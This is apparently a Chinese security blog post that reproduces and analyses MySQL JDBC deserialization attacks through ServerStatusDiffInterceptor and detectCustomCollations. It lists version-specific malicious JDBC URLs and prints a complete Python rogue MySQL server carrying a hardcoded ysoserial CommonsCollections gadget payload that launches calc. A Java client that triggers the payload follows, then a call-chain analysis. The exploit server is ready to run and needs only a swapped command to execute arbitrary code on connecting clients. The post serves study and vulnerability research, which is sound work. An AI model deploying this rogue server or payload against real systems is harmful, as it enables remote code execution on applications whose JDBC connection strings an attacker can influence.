JDBC反序列化学习

环境搭建

https://downloads.mysql.com/archives/c-j/

4turAs.png

把下载的jar包添加到依赖里

4tu0BQ.png

在pom.xml中添加common-collections依赖

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<dependencies>
        <!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

触发链接

ServerStatusDiffInterceptor触发

  • 8.x: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 6.x(属性名不同): jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 5.1.11及以上的5.x版本（包名没有了cj）: jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc
  • 5.1.10及以下的5.1.X版本： 同上，但是需要连接后执行查询。
  • 5.0.x: 还没有ServerStatusDiffInterceptor这个东西┓( ´∀` )┏

detectCustomCollations触发

  • 5.1.41及以上: 不可用
  • 5.1.29-5.1.40: jdbc:mysql://127.0.0.1:3306/test?detectCustomCollations=true&autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.28-5.1.19： jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&user=yso_JRE8u20_calc
  • 5.1.18以下的5.1.x版本： 不可用
  • 5.0.x版本不可用

漏洞复现

运行恶意mysql服务器脚本

来源：https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

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# coding=utf-8
import socket
import binascii
import os

greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"

def receive_data(conn):
    data = conn.recv(1024)
    print("[*] Receiveing the package : {}".format(data))
    return str(data).lower()

def send_data(conn,data):
    print("[*] Sending the package : {}".format(data))
    conn.send(binascii.a2b_hex(data))

def get_payload_content():
    #file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
    file= r'payload'
    if os.path.isfile(file):
        with open(file, 'rb') as f:
            payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
        print("open successs")

    else:
        print("open false")
        #calc
        payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
    return payload_content

# 主要逻辑
def run():

    while 1:
        conn, addr = sk.accept()
        print("Connection come from {}:{}".format(addr[0],addr[1]))

        # 1.先发送第一个 问候报文
        send_data(conn,greeting_data)

        while True:
            # 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
            receive_data(conn)
            send_data(conn,response_ok_data)

            #其他过程
            data=receive_data(conn)
            #查询一些配置信息,其中会发送自己的 版本号
            if "session.auto_increment_increment" in data:
                _payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
                send_data(conn,_payload)
                data=receive_data(conn)
            elif "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                send_data(conn, _payload)
                data = receive_data(conn)
            if "set names" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "set character_set_results" in data:
                send_data(conn, response_ok_data)
                data = receive_data(conn)
            if "show session status" in data:
                mysql_data = '0100000102'
                mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
                mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
                # 为什么我加了EOF Packet 就无法正常运行呢？？
                # 获取payload
                payload_content=get_payload_content()
                # 计算payload长度
                payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
                payload_length_hex = payload_length[2:4] + payload_length[0:2]
                # 计算数据包长度
                data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
                data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
                mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
                mysql_data += str(payload_content)
                mysql_data += '07000005fe000022000100'
                send_data(conn, mysql_data)
                data = receive_data(conn)
            if "show warnings" in data:
                payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                send_data(conn, payload)
            break


if __name__ == '__main__':
    HOST ='0.0.0.0'
    PORT = 3306

    sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    #当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
    sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sk.bind((HOST, PORT))
    sk.listen(1)

    print("start fake mysql server listening on {}:{}".format(HOST,PORT))

    run()

触发JDBC反序列化

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import java.sql.Connection;
import java.sql.DriverManager;


public class JdbcTest {
    public static void main(String[] args) throws Exception {
        Class.forName("com.mysql.jdbc.Driver");
        String jdbc_url = "jdbc:mysql://127.0.0.1:3306/test?" +
                "autoDeserialize=true" +
                "&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
        Connection con = DriverManager.getConnection(jdbc_url, "root", "root");
    }
}

执行成功

4tuyhq.png

漏洞分析

分析ServerStatusDiffInterceptor

在调用com.mysql.cj.jdbc中相关函数来连接恶意MySQL服务器时，会调用到com.mysql.cj.jdbc.result.ResultSetImpl.getObject()函数，而其中会调用readObject()函数执行反序列化操作

先看反序列化点

com.mysql.cj.jdbc.result.ResultSetImpl.getObject()

  1. 判断输入参数columnIndex是否大于1，如果是就向下执行
  2. 判断是不是二进制数据（isBinary），还有Mysql字段类型是否为BLOB（isBlob）
  3. 调用getBytes从Mysql服务端获取对应的字节码数据
  4. 判断输入JDBC链接URL的autoDeserialize是否为true，满足则进入反序列化操作
  5. 判断前两个字节是否为-84和-19，即AC和ED
  6. 满足条件后进入反序列化操作

4tusNn.png

getBytes读取Mysql恶意服务端上的字节码，用于反序列化

4tu4HJ.png

com.mysql.cj.jdbc.result.ResultSetImpl.getObject()是怎么被调用的？

  1. 在com.mysql.jdbc.Driver中新建连接实例
  2. 设置对应的查询拦截器，也就是在JDBC连接url中设置的ServerStatusDiffInterceptor
  3. 从MySQL服务端初始化Properties并执行相关的sql语句，如果查询拦截器不为空则调用查询拦截器的preProcess函数
  4. 运行查询语句SHOW SESSION STATUS，然后调用ResultSetUtil.resultSetToMap()，其中调用了getObject()函数触发反序列化（注意columnIndex为2处才能走到反序列化的代码逻辑，因为为1则直接返回null）
  5. 进入getObject()，判断字段类型为BLOB

1.

java.sql.DriverManager#getConnection

新建连接实例

4tuB7j.png

2.

com.mysql.cj.jdbc.ConnectionImpl#connectOneTryOnly

调用setQueryIntercptors，设置拦截器（ServerStatusDiffInterceptor）

4tuc90.png

com.mysql.cj.jdbc.ConnectionImpl#setAutoCommit

这里执行了一些诸如set autocommit=1之类的sql语句，进一步触发之前设置好的拦截器

4tuhB4.png

3.

com.mysql.cj.protocol.a.NativeProtocol#sendQueryPacket

这里调用了拦截器（ServerStatusDiffContext）的preProcess方法

4tufuF.png

4.

com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess

调用populateMapWithSessionStatusValues

4tuRjU.png

5.

com.mysql.cj.jdbc.interceptors.ServerStatusDiffIntercept#populateMapWithSessionStatusValues

这里执行了sql语句SHOW SESSION STATUS

然后调用ResultSetUtil.resultSetToMap()

4tug3V.png

6.

com.mysql.cj.jdbc.util.ResultSetUtil.resultSetToMap

调用com.mysql.cj.jdbc.result.ResultSetImpl#getObject()，触发反序列化

4tu2cT.png

调用栈

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getObject:1326, ResultSetImpl (com.mysql.cj.jdbc.result)
resultSetToMap:46, ResultSetUtil (com.mysql.cj.jdbc.util)
populateMapWithSessionStatusValues:87, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:105, ServerStatusDiffInterceptor (com.mysql.cj.jdbc.interceptors)
preProcess:76, NoSubInterceptorWrapper (com.mysql.cj)
invokeQueryInterceptorsPre:1137, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryPacket:963, NativeProtocol (com.mysql.cj.protocol.a)
sendQueryString:914, NativeProtocol (com.mysql.cj.protocol.a)
execSQL:1150, NativeSession (com.mysql.cj)
setAutoCommit:2064, ConnectionImpl (com.mysql.cj.jdbc)
handleAutoCommitDefaults:1382, ConnectionImpl (com.mysql.cj.jdbc)
initializePropsFromServer:1327, ConnectionImpl (com.mysql.cj.jdbc)
connectOneTryOnly:966, ConnectionImpl (com.mysql.cj.jdbc)
createNewIO:825, ConnectionImpl (com.mysql.cj.jdbc)
<init>:455, ConnectionImpl (com.mysql.cj.jdbc)
getInstance:240, ConnectionImpl (com.mysql.cj.jdbc)
connect:207, NonRegisteringDriver (com.mysql.cj.jdbc)
getConnection:664, DriverManager (java.sql)
getConnection:247, DriverManager (java.sql)
main:10, Test

总结

利用前提：JDBC链接可控

JDBC初始化过程中会执行某些sql语句（SHOW SESSION STATUS），进而触发拦截器（ServerStatusDiffInterceptor）的preProcess方法，最后调用getObject触发反序列化

  1. com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#preProcess
  2. com.mysql.cj.jdbc.interceptors.ServerStatusDiffIntercept#populateMapWithSessionStatusValues
  3. com.mysql.cj.jdbc.util.ResultSetUtil#resultSetToMap
  4. com.mysql.cj.jdbc.result.ResultSetImpl#getObject()

终点：在com.mysql.cj.jdbc.result.ResultSetImpl#getObject()处读取Mysql恶意服务端上的设置好的序列化字节码，然后执行readObject触发反序列化

参考

https://github.com/fnmsd/MySQL_Fake_Server

https://www.anquanke.com/post/id/203086

https://daybr4ak.github.io/2020/07/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%AD%A6%E4%B9%A0/

https://xz.aliyun.com/t/8159

https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/

https://redteaming.net/pages/b62a2f/

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